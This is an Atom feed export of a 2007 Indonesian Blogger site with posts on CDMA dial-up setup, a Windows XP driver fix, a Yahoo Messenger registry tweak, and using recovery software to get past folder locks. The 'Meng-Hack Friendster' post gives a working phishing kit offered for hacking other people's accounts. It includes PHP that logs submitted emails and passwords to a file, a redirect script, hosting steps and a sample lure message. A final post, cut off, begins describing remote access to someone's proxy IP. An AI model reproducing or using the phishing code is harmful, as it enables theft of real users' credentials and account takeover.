tidak respon.&lt;br /&gt; - Starone = Ada perpaket murah tapi pake limit kuota,juga per menit tapi boros,   Akses juga kadang putus² dan menyusahkan kita untuk call CS.&lt;br /&gt; - Fren    = tarif agak mahal baik pasca bayar maupun prabayar,jaringan tidak begitu luas..ini adalah pasang tarif politik,ngerti ga? cari aja seluk-beluknya..&lt;br /&gt; - Esia    = Masih tetap tarif agak murah diantara CDMA lain tapi perpaket atao perdurasi biasa langsung pulsa? tergantung anda...layanan CS masih tidak respon denagn kerugian kita yang di sebabkan..billing nya kadang hang...&lt;br /&gt;&lt;br /&gt;Untuk tarif?? silahkan akses ke website operator langgannan anda :&lt;br /&gt;   www.telkomflexi.com &lt;br /&gt;   www.mystarone.com&lt;br /&gt;   Dll .....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mungkin itu cerita singkat dan poin bagi operator layanan di negeri kita yang kuarng memuaskan...&lt;br /&gt;Masih tetap nyotot pasang Net CDMA to PC langsung..&lt;br /&gt;Okey...&lt;br /&gt;kita bahas dulu secara detai dan menyeluruh agal semaunya gampang buat nge tes..&lt;br /&gt;&lt;br /&gt;Jenis terminal apa saja yang dapat digunakan untuk akses ? &lt;br /&gt;  Terminal yang dapat mengakses ke PDN bermacam-macam, diantaranya ada yang &lt;br /&gt;  berupa Data Card (PCMCIA), FWT, dan Handheld (Handphone). Yang perlu &lt;br /&gt;  diperhatikan adalah kemampuan terminal tersebut dapat mendukung layanan data &lt;br /&gt;  paket. Untuk terminal- terminal yang dapat mendukung CDMA 2000 1x (1xRTT &lt;br /&gt;  atau diatasnya), kemampuan data paket tersebut sudah dimiliki. &lt;br /&gt;&lt;br /&gt;Bagaimana cara menggunakan terminal yang berupa Data Card (PCMCIA) ? &lt;br /&gt;  Terminal Data Card (misal : Gtran DotSurfer, Sierra dll) dapat dimasukkan &lt;br /&gt;  kedalam slot PCMCIA yang umumnya terdapat pada notebook/laptop. Biasanya &lt;br /&gt;  user harus menginstall driver terlebih dahulu untuk terminal Data Card-nya, &lt;br /&gt;  biasanya hal ini sudah disertakan oleh vendor yang membuatnya ketika user &lt;br /&gt;  membeli terminal tersebut. Setelah itu user dapat menggunakan software aplikasi &lt;br /&gt;  dial-up yang sudah disertakan oleh vendor, atau dapat menggunakan aplikasi dialup &lt;br /&gt;  networking yang terdapat pada Microsoft Windows untuk men-set nomor dialup, &lt;br /&gt;  user name dan password-nya. &lt;br /&gt;&lt;br /&gt;Bagaimana cara menggunakan terminal yang berupa FWT (Fixed Wireless &lt;br /&gt;Terminal)? &lt;br /&gt;  Terminal FWT dapat dihubungkan ke port serial atau USB PC/Notebook dengan &lt;br /&gt;  menggunakan kabel RS-232 (9 pin) atau kabel USB tergantung spesifikasi &lt;br /&gt;  masing- masing merk/jenis terminalnya. Selanjutnya melalui aplikasi di Microsoft &lt;br /&gt;  Windows, user dapat menginstall modem (Add Modem) dengan pilihan Modem &lt;br /&gt;  Standar 19200 bps dan pada AT Command String atau Extra Initialization &lt;br /&gt;  Command (Extra Setting)-nya diset sesuai dengan spesifikasi masing-masing &lt;br /&gt;  merek/jenis terminalnya (Standar Extra Setting : AT+CRM=1). Juga pada &lt;br /&gt;  maximum port speed (serial port rate)-nya di-set ke 115200 bps. Setelah itu user &lt;br /&gt;  dapat menggunakan aplikasi dial-up networking yang terdapat pada Microsoft &lt;br /&gt;  Windows untuk men-set nomor dial-up, user name dan password-nya. &lt;br /&gt;Bagaimana cara menggunakan terminal yang berupa Handheld/Handphone? &lt;br /&gt;  Terminal Handheld/Handphone dapat dihubungkan ke port serial RS-232 (9 pin) &lt;br /&gt;  atau USB PC/Notebook dengan menggunakan kabel data yang jenisnya &lt;br /&gt;  tergantung spesifikasi masing-masing merk/jenis terminalnya. Selanjutnya &lt;br /&gt;  melalui aplikasi di Microsoft Windows, user dapat menginstall modem (Add &lt;br /&gt;  Modem) dengan pilihan Modem Standar 19200 bps dan pada AT Command &lt;br /&gt;  String atau Extra Initialization Command (Extra Setting)- nya diset sesuai dengan &lt;br /&gt;  spesifikasi masing-masing merek/jenis terminalnya (Standar Extra Setting : &lt;br /&gt;  AT+CRM=1). Juga pada maximum port speed (serial port rate)-nya di-set ke &lt;br /&gt;  115200 bps. Setelah itu user dapat menggunakan aplikasi dial-up networking &lt;br /&gt;  yang terdapat pada Microsoft Windows untuk men-set nomor dial-up, user name &lt;br /&gt;  dan password-nya. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Apa saja yang dapat mempengaruhi kualitas koneksi dan kecepatan download &lt;br /&gt;Operator CDMA? &lt;br /&gt;  Beberapa hal yang dapat mempengaruhi kualitas koneksi dan kecepatan download &lt;br /&gt;  ke operator adalah sebagai berikut : &lt;br /&gt;   1.Kualitas sinyal MS (Mobile Station) pada saat koneksi berlangsung. Kuat &lt;br /&gt;      sinyal penerimaan yang dianjurkan adalah lebih besar dari -80 dBm, atau &lt;br /&gt;      secara visual dilihat dari terminal adalah sebaiknya lebih dari setengah &lt;br /&gt;      sinyal (bar) maksimumnya. &lt;br /&gt;   2.Jumlah user yang terhubung ke operator pada saat itu. &lt;br /&gt;      Semakin banyak user yang sedang terhubung, maka kecepatan download &lt;br /&gt;      akan semakin berkurang. Hal ini dikarenakan besarnya bandwidth internet &lt;br /&gt;      gateway yang tersedia akan terbagi (shared) dengan sejumlah user yang &lt;br /&gt;      terhubung pada saat itu. &lt;br /&gt;   3.Jumlah pelanggan dan trafik (baik trafik voice maupun data) pada area &lt;br /&gt;      BTS dimana user terhubung ke TelkomNet@Flexi. Hal ini dikarenakan &lt;br /&gt;      kemampuan suatu BTS untuk meng- handle trafik (voice dan data) adalah &lt;br /&gt;      terbatas. &lt;br /&gt;&lt;br /&gt;Apa saja yang harus dipastikan jika user tidak dapat terhubung ke operator? &lt;br /&gt;  1.Pastikan nomor dial, user_name dan password dan pilihan modem yang &lt;br /&gt;     akan digunakan untuk koneksi ke operator sudah benar. &lt;br /&gt;  2.Pastikan Modem Standar 19200 bps yang telah di- install telah diset &lt;br /&gt;     maximum port speed-nya 115200 bps. &lt;br /&gt;  3.Pastikan terminal/pesawat adalah jenis terminal 1x atau dapat mendukung &lt;br /&gt;     layanan data packet. Juga modem yang ada di-terminal/pesawat di set &lt;br /&gt;     pada data/baud rate 115200 bps. &lt;br /&gt;  4.Pastikan Extra Setting sudah di set sesuai dengan spesifikasi &lt;br /&gt;     terminal/pesawat-nya yang dibutuhkan agar PC/Laptop dapat &lt;br /&gt;     berkomunikasi dengan modem yang ada di terminal/pesawat. Extra &lt;br /&gt;     Setting yang umum digunakan adalah AT+CRM=1. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk melakukan akses ..? kita kan bahas di kemudian...{ tunggu aja dulu ]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-1298766999103135472?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/1298766999103135472/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=1298766999103135472&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/1298766999103135472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/1298766999103135472'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/11/koneksi-internet-global-via-cdma.html' title='Koneksi Internet Global Via CDMA'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-8223677921162670498</id><published>2007-11-07T16:24:00.002+07:00</published><updated>2008-02-15T11:07:46.874+07:00</updated><title type='text'>:::::Meng-Hack Friendster :::::</title><content type='html'>Dengan di dorong rasa penasaran yang besar,...manusia selalu ingin melakukannya walau dengan melihat resiko dari belakang...dengan dampak demikian mereka akan menemukan hal yang baru walau dianggap suatu kerusakan atau pencurian hak orang lain....&lt;br /&gt;tapi disisi jaringan kita bisa ngomong dan menguasai hak orang lain tanpa peduli yang namanya "Privasi". walau belom sempurna didirikannya cybercrime untuk jenis dan segala bentuk yang ada di internet.&lt;br /&gt;Untuk utak-atik dan menguasai profil seseorang...hal nya profil nester "komunitas di internet semisal, www.friendster.com ::: sebagai target untuk menyimpulkan rasa penasaran yang sempat saya miliki untuk menguasai dan melihat settingan dari profil mereka. degna sedikit penat dan mengggunakan google' untuk menilik cara dan berbagi untuk mendapatkan tutorial cara meng hack Friendster milik orang lain/ato teman kita sendiri.....menghack Friendster banyak cara untuk penggunaannya ..namun saya sedikit hanya menggunakan pengetahuan dasar-dasar dari program .PHP , " .&lt;br /&gt;Tidak sabar ingin ke menghabiskan waktu seharian di saiberlib" USU ...dengan modal laptop pinjaman teman dan kesempatan untuk berselancar satuharian di sosno/Saiberlib USU kawan...:::::. selagi masih kecarian kunci password FS milik orang lain,kesabaran ku begitu melotot ke google....yappp....youpp...akhirnya sebuah tulisan di blog ada membahas tentang mengHack password friendster orang...&lt;br /&gt;hmmm...tapi mau hack password siapa ya aq???..hehhehee...&lt;br /&gt;okeh..pembahasanya bukan itu tapi multi hack password FS.Yupp...&lt;br /&gt;Ikuti aja dulu seperti yang saya sarankan ini...sebelum mengikuti,mohon fokus ke artikel ini..!! jangan main seronot membaca asal dilewatkan saja..sama doank..takk bakalan bisa mencoba hack...hanya keseriusan dan tanggapan yang lebih jauh...sejauh ujungnya langit..hhehehhe..&lt;br /&gt;sebentar..saya mesti menengguk sebotol AQUA mineral dingin...dingin...sambil melirik user Hostpot di sebelah saya....cewe pulak tohh...&lt;br /&gt;kolom :  &lt;br /&gt;  ~gunakan google untuk mendapatkan sebuah webHosting yang menyediakan .PHP&lt;br /&gt;  ~jika suda..!Upload file' index.htm [ada pada source] ---&gt; klik view"---&gt;   source ::di toolbar browser anda yahh..&lt;br /&gt;:&lt;br /&gt;:&lt;br /&gt;:&lt;br /&gt;:&lt;br /&gt;:&lt;br /&gt;duhh..sorri..kelamaan...nih ada petugas saiberlib minta di scanning_kan F-disk nya...katanya komputer operatornya lagi ada kerusakan CPU...tapi ga tau juga yahhh ,mungkin hanya me-mata-matai saya aja kurasa secara manual...hahahha..&lt;br /&gt;ga dehh..&lt;br /&gt;okehh..sampe mana tadi yahh..&lt;br /&gt;oh yahh..selanjutnya....!&lt;br /&gt;&lt;br /&gt;   ~Sertakan code php dan JavaScript di bawah ini dan ” SAVE As ” sesuai dg nama link yg dituju pada Form Login.&lt;br /&gt;&lt;br /&gt;--------&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$email = $_POST[email];&lt;br /&gt;$password = $_POST[password];&lt;br /&gt;$fl = fopen(’password.txt’, ‘a’);&lt;br /&gt;fwrite($fl, “$email . $password \n\n”);&lt;br /&gt;fclose($fl);&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;SCRIPT LANGUAGE=”JavaScript”&gt;&lt;br /&gt;window.location=”http://www.friendster.com/index.php”;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;--------&gt;&lt;br /&gt;&lt;br /&gt;Selanjutnya....&lt;br /&gt;   ~Dan upload file diatas ke www.webyangsupportphp.com "&lt;br /&gt;   &lt;br /&gt;   ~ Buat file Text kosong dengan nama Sesuai perintah Open pada php code di atas. Jangan lupa CHMOD diganti sesuai dg kebutuhan kamu!!.&lt;br /&gt;&lt;br /&gt;Nah.....sekarang !&lt;br /&gt;&lt;br /&gt;   ~Isikan testi buat mereka yang ingin anda hack :,semisal :&lt;br /&gt;&lt;br /&gt; ......Hai NiYe Bro,Apa kabar?lama tak bersua...kapan nih bisa ketemu lagi untk makan bersama...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-8223677921162670498?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/8223677921162670498/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=8223677921162670498&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/8223677921162670498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/8223677921162670498'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/11/meng-hack-friendster.html' title=':::::Meng-Hack Friendster :::::'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-760500408105077776</id><published>2007-10-31T21:25:00.000+07:00</published><updated>2007-11-02T14:17:00.316+07:00</updated><title type='text'>Menjebolkan sebuah Pengaman Data</title><content type='html'>Softwarenya bukan cracking folder lock atau semacamnya tapi cuma sebuah software recovery. Ya, tidak lain dan tidak bukan adalah Get Data Back. Sedikit mengenai Get Data Back. Software recovery ini memiliki kelebihan dibandingkan dengan software recovery sejenis yang lain semisal easy recovery, atau recovery my file, buktikan aja sendiri, terutama dari segi kemampuan dan kemudahannya. Hampir 70-90 persen file (menurut pengalaman dan perkiraan ngawur saya sih :smile:) bisa dikembalikan baik itu yang terdelete, terformat atau di dalam sebuah folder.&lt;br /&gt;. Software ini memiliki kemampuan untuk menerobos langsung ke arah file atau data yang dituju tanpa harus melalui folder atau yang sejenisnya, karena ia melakukan core scanning langsung ke arah file system hardisk (langsung kepermukaan hardisk, bukan lewat folder2 atau yang sejenisnya). Dengan demikian walaupun folder anda terkunci, disembunyikan, dihidden, atau bahkan dijadikan folder system sehingga tidak terlacak atau terdeteksi lewat ekplorer, ia masih bisa diakses, Lha wong di delete atau diformat disknya aja masih bisa dikembalikan alias diakses kok, apalagi cuma di lock foldernya. Lagi pula data tersebut bisa dikopi paste ke tempat yang lainnya. Tidak perduli mau jenis apa datanya (perkiraan ngawur, entar kalau ada yang gak bisa jangan salahkan saya, sejauh yang saya ketahui hampir semuanya bisa kok), entah itu mp3, word, atau gambar dengan berbagai ekstensi, semua bisa dikembalikan. Hal ini berbeda dengan software recovery yang lainnya yang hanya mampu mendeteksi jenis file file tertentu dan kerjanya juga seringkali sangat lama. (Bandingkan, saya menscan atau merecovery partisi 10 Giga dengan Get Data Back tidak sampai 30 menit selesai, dengan Easy Recovery nyampe 2 jam belum selesai Bro!! Pentium 4 1,7 GHz, memory 256 Mb keambil 32 buat VGA tinggal 224 Mb, Windows Xp SP 2).Jadi kalau mau menjebol folder tuh sangat mudah tanpa harus repot repot mengetahui password atau yang lainnya. Cukup sediakan software ini. dan semuanya serahkan kepadanya. Beberapa Software Folder Protection dan sejenisnya mampu dilangkahi kok dengan Bantuan Get Data Back.&lt;br /&gt;&lt;br /&gt;Software ini dapat digunakan untuk keperluan yang bermacam-macam, khususnya berkaitan dengan akses ke suatu file di dalam harddisk. Asal masih bisa menginstal software ini di komputer, file yang disembunyikan dimanapun atau yang di delete dimanapun atau yang ke format (asal delete gak pake cara shredder dan belum ketimpa sama file yang lain, dan tentunya hardisknya belum rusak), anda masih bisa mengakses dan menggunakannya (copy paste dulu tuh file ke tempat lain). Terakhir saya coba (Juli 2007) untuk mengembalikan data temen saya yang keformat terkena virus. Sudah di bawa ke mana2 komputernya, hasilnya nihil malah hilang data-data pentingnya. Beruntung waktu itu saya ke jogja dan dia cerita soal tersebut. Imbalannya cuma dibeliin roti bakar ma makan gratis seharian. Huk2x. Tuh ongkos ke jogjanya aja cuma inpas kalau diitung2, belum juga waktu saya yang di booking ma dia seharian, mau ketemu pacar pun akhirnya gak jadi (eh lebih tepatnya pacar saya yang gak jadi datang ding :smile:). Yah namanya juga temen. He he he&lt;br /&gt;&lt;br /&gt;Andai pengen data anda benar-benar tak terakses lebih baik gunakan file protection atau folder protection yang sekaligus menyediakan enkripsi untuk file-file didalamnya. Dengan dienkripsi file tersebut walaupun bisa diakses pasti tidak mampu dijalankan. Contoh folder protection yang menyediakan enkripsi file atau folder adalah Lock It and Protect Pro. Hanya saja dengan adanya enkripsi akan menjadikan proses protectionnya jadi lama karena file-filenya akan dienkripsi satu per satu. Sayangnya file tersebut masih bisa didescripkan jika kita menginstal software tersebut, walaupun di komputer yang lain dan tidak perlu akses password asli. Asal kita tahu dengan software apa (yang berarti juga dengan logaritma apa) dia mengenkripsi file tersebut&lt;br /&gt;&lt;br /&gt;Ohya, karena TOS (Term Of Service) Wordpress.com tidak mengijinkan sharing/ link software yang berjenis hacking, cracking, trojan, virus dan kegiatan illegal sejenisnya atau yang belisensi alias harus bayar atau beli (bisa di suspend atau dihapus blog ini jika itu terjadi dan ketahuan), maka mohon maaf tidak bisa menshare software Get Data Back. Dan maaf gak bisa share lewat email juga coz cukup besar filenya sedang koneksi internet tidak mencukupi. Sekedar Info aja bagi yang pengen mencoba atau memilikinya: Saya mendapatkan software ini lewat rental CD software di Jalan Kaliurang. Lebih Tepatnya dari Rental Bimasakti yang di depan Hotel Ishiro itu lho… Bilang aja minta software Get Data Back, entar juga dicarikan. Jangan Keliru dengan Rental Bimasakti yang lain. Entar Kecewa kalau gak dapat. Dimarah-marahin lagi saya.&lt;br /&gt;&lt;br /&gt;Pengalaman saya banyak orang atau oknum yang kalau gak dibalas atau gak dikasih permintaannya jadi marah-marah dan memaki-maki saya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-760500408105077776?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/760500408105077776/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=760500408105077776&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/760500408105077776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/760500408105077776'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/10/menjebolkan-sebuah-pengaman-data-folder.html' title='Menjebolkan sebuah Pengaman Data'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-6706563277750587805</id><published>2007-09-01T20:06:00.000+07:00</published><updated>2007-10-11T03:02:26.894+07:00</updated><title type='text'>Drive - CD/DVD ROM di Win XP sp 3</title><content type='html'>Pasti anda kenal betul dengan Win XP sp 3 dari hasil dan tambahan fitur yang di buat atau yang di keluarkan oleh hasil kreatif amit_talkin@yahoo.com ini. OS ini adalah versi XP sp 2 yang di perbaharui dan ketika di periksa dari "dxdiag" XP sp 3 ini masih mengenal dengan XP sp 2, hanya saja di tambahkan dengan XP sp 3 sebagai nama baru,karena hasil dari fiturnya; semisal desktop dan booting menggunakan style yang keren buat yang suka aksi gaya lebih baru...&lt;br /&gt;Tapi disisi lain, kemampuan dari Win XP sp 3 ini tidak sebagus Windows XP 2 yang mampu merealisasikan driver_driver dari device yang di tumpanginya...Win XP sp 3 memang di tambahkan bundle software sekaligus. semisal, Mozila Firefox, Adobe Reader ver 7, dan Mic.Office 2003' namun Win XP sp 3 tidak akan melengkapi atau tidak akan bekerja keseluruhan untuk mendeteksi driver² device yang akan di olah dalam komputer tersebut.&lt;br /&gt;Contoh  sederhananya saja semisal, Soundcard and VGA card motherboard tersebut yang driver nya tidak bisa di deteksi oleh sp 3 serta  Bagaimana kalo tiba² Drive  CD/DVD-ROM/RW yang ga bisa bekerja (tidak bisa di buka) sesudah XP sp 3 di install ? hal ini akan bisa membuat kita panik lagi bahkan ingin seakan membongkar dan memeriksa komputer tersebut ke dalam cpu.&lt;br /&gt;dan gimana kalo kejadian ini juga terjadi di Notebook/Mini_NoteBook anda? apakah akan membongkar nya juga?&lt;br /&gt;Jangan ambil keputusan dulu....! cari jalan lainnya...! okehh saya akan bantu jalan lainnya seperti pengalaman yang saya dapat sebelumnya serta bisa mengatasi masalh tersebut mengatasinya.....&lt;br /&gt;    Kejadian ini sudah 4 kali saya alami ketika menginstall Windows XP sp 3 keluaran si "Amit" ini....pertama di komputer saya secara pribadi kemudian Notebook serta komputer teman ketika di titipkan untuk saya atasi masalah seperti diatas. Hmmm....maklum ! yang  namanya mahasiswa yang sering ikut copy_paste biasanya gonta-ganti OS yang mesti serupa dengan pengguna lainnya..heheheh :P&lt;br /&gt; sekarang kita mengalih soal drive tadi.... Mungkin kita pernah mengalami kejadian ini, kalau CD/DVD Rom/RW kita  tidak bisa "Open-close"walau lampu LED nya masih menyala.!Yang pasti kita pikirkan bahwa drive kita rusak total akibat pemaksaan pemutaran disk...Opps..akan tetapi masalahnya adalah dari OS nya disaat kita  penginstall_an  XP sp 3 tadi terjadi.&lt;br /&gt;jika kita pernah mengalaminya , coba ikuti petunjuk berikut  untuk mengatasi CD/DVD Drive  komputer kita yang tidak  bekerja sama sekali seperti di 'open-close".&lt;br /&gt;Cara mengatasinya gampang saja dehhh...&lt;br /&gt;&lt;br /&gt;Pertama : Coba akses dari Device manager [ klik aja dulu properti "my computer" di            &lt;br /&gt;          desktop na]&lt;br /&gt;Klik Tab "Hardware" and masuk ke button "device manager"..! nahh...seteruz nya klik CD/DVD Drives nya...klik kanan terus untuk " properti" disana anda boleh me_ Rol &amp; Back driver" na atau "Update driver" juga boleh..dan setelah itu klik next ke next aja kan terus..setelah sukses...coba komputer direstart and .....&lt;br /&gt;Coba dehh buka CD/DVD drive s ..! pasti sudah bisa di buka kann??&lt;br /&gt;Kehh, selamat mencoba......&lt;br /&gt;Saya akan akhiri dulu artikel ini dan saya akan buat artikel baru lagi sehabis balik dari Jakarta dan memulai ajaran baru dikampus nanti yahh....&lt;br /&gt;jika kurang di mengerti artikel ini..tolong di tanyakan lewat "ruang komentar yang di sediakan"&lt;br /&gt;!!!!!!&lt;br /&gt;&lt;br /&gt;_______MATHEWCRAS is Written_______&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-6706563277750587805?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/6706563277750587805/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=6706563277750587805&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/6706563277750587805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/6706563277750587805'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/09/drive-cddvd-rom-di-win-xp-sp-3.html' title='Drive - CD/DVD ROM di Win XP sp 3'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-7300750580653841813</id><published>2007-08-21T18:52:00.000+07:00</published><updated>2007-08-21T19:23:20.839+07:00</updated><title type='text'>Join Dengan Dua Account ID berbeda di Yahoo Messenger</title><content type='html'>Yahh..dah lama saya ga posting dah hampir sebulan dehh...dan para peminat saya rasa dah pada ga mo buka blog neh lage.. hihihi ... :P~~&lt;br /&gt;Maaf yahh semua! Saya habis keburu jual laptop dehh dan kesibukan dari kampus makin menyusatkan aku hingga lupa nge_blog nehh, Okehh tapi bukan itu persoalannya yahh..&lt;br /&gt;Saya hanya ada sedikit tutorial yang bakalan membantu anda bisa chatting dengan dua account ID sekaliguzz, seperti di mIREC juga loe..yang bisa buka room channle dengan beda nick gituu...&lt;br /&gt; Eipss...gua baru tahu betol nihh tutorial dari hasil gua ketika baca sebuah majalah sekilas IT gituu..tapi bukan membahas tentang ini ,melainkan membahas tentang registry_na di windows...ehhh..tau-taunya saya ambil kesimpulan dan logikanya tentang pembahasan artikel registry tersebut dan mulai menyiasati dan ambil sample untuk memngubah beberapa komponen dan apa yg akan terjadi?&lt;br /&gt;Ehh ternyata saya beruntung juga bisa tiba_tiba mengggunkan yahoo messenger dengan dua account seperti yang saya maksud tadi. Setelah saya simpulkan dan saya samakan dengan pengubahan registry software pada tune Up dan membuat rumus baru dengan cara melogikan  dword pada registry tersebut dengan dword komponen yahoo messenger_na, mau tahu lebih jelas nya seperti keterangan di bawah ini dehh.....&lt;br /&gt;&lt;br /&gt; Start -&gt; Run ketikkan "regedit" atao regedit.exe&lt;br /&gt; selanjutnya cari  HKEY_CURRENT_USER/Software/yahoo/pager/Test&lt;br /&gt; setelah target dapat,Klik kanan pilih new -&gt; DWORD value lalu rename menjadi Plural   lalu sesudah di rename klik ganda dan kasih value 1&lt;br /&gt;&lt;br /&gt;  so...,Tutup registry editor lalu jalankan YM Anda sesudah login pertama lalu klik ganda icon Ym lagi untuk Login kedua dengan user yang berbeda.&lt;br /&gt;Nahhh.....mudah bukann???kan cuman 3 langkah saja kan..?&lt;br /&gt;Okehh semoga dan selamat mencoba dehh...&lt;br /&gt;&lt;br /&gt;________MATHEWCRASS_________&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828929578213178164-7300750580653841813?l=sihite.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sihite.blogspot.com/feeds/7300750580653841813/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5828929578213178164&amp;postID=7300750580653841813&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7300750580653841813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828929578213178164/posts/default/7300750580653841813'/><link rel='alternate' type='text/html' href='http://sihite.blogspot.com/2007/08/yahh.html' title='Join Dengan Dua Account ID berbeda di Yahoo Messenger'/><author><name>-S -I -H -I -T -E</name><uri>http://www.blogger.com/profile/00645760863547254478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5828929578213178164.post-5122992160443105711</id><published>2007-07-13T22:00:00.000+07:00</published><updated>2007-07-13T23:04:39.150+07:00</updated><title type='text'>: Proxy Object :</title><content type='html'>&lt;a href="http://bp0.blogger.com/_RREiKWjI3bo/RpeiXnMhnmI/AAAAAAAAAAs/SyW1Zj8-fvk/s1600-h/CSC.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5086712830680473186" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://bp0.blogger.com/_RREiKWjI3bo/RpeiXnMhnmI/AAAAAAAAAAs/SyW1Zj8-fvk/s320/CSC.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://bp2.blogger.com/_RREiKWjI3bo/RpeiNHMhnlI/AAAAAAAAAAk/lEGFrsnUo6w/s1600-h/03_mqmanager.gif"&gt;&lt;img id="BLOGGER_PHOTO_ID_5086712650291846738" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; CURSOR: hand" alt="" src="http://bp2.blogger.com/_RREiKWjI3bo/RpeiNHMhnlI/AAAAAAAAAAk/lEGFrsnUo6w/s320/03_mqmanager.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;    Gua Emang Benar-Benar capek Dehc, Stelah jalan melulu bolak² macam arus 2 arah ke kampung [ D' Sanggul &lt;--&gt; Langkat &lt;--&gt; Medan ] gua tempuh terus selama seminggu, yahh capek dehh.. sesampai di bus saya baru ingat tentang remote objek yg hampir terlupakan untuk di upload ulang s'telah saya habis kotak-atik tuh DOPOD pinjaman teman selama perjalanan saya di dukung oleh HSPDA XL -bebas tuhh sepanjang jalan lintas sumatra yang tidak kenal lelah N rasa bosan di bis...ehh ternyata saya buat percobaan ke salah satu IP yg saya kenal dulunya dr warnet dan melekat masih ingat tuh IP ampe sekarang, truz saya cobain deh dgn idenya " Proxy Objek " yaitu kesalah satu Objek IP proxy anak kampusan dehh gua cobain se ingat gua yahh (rahasia dehh..). Ternyata bisa di remote lohh..mau coba..? yoo kita planningkan dulu objeknya truz..ikuti nihh petunjuk gua. Wa juga dah capek beri petunjuk melulu :D )) apalagi baru sehabis adventure. tapi ingat gua iklas koq. Namanya jg ? Teman.&lt;br /&gt;Nehh 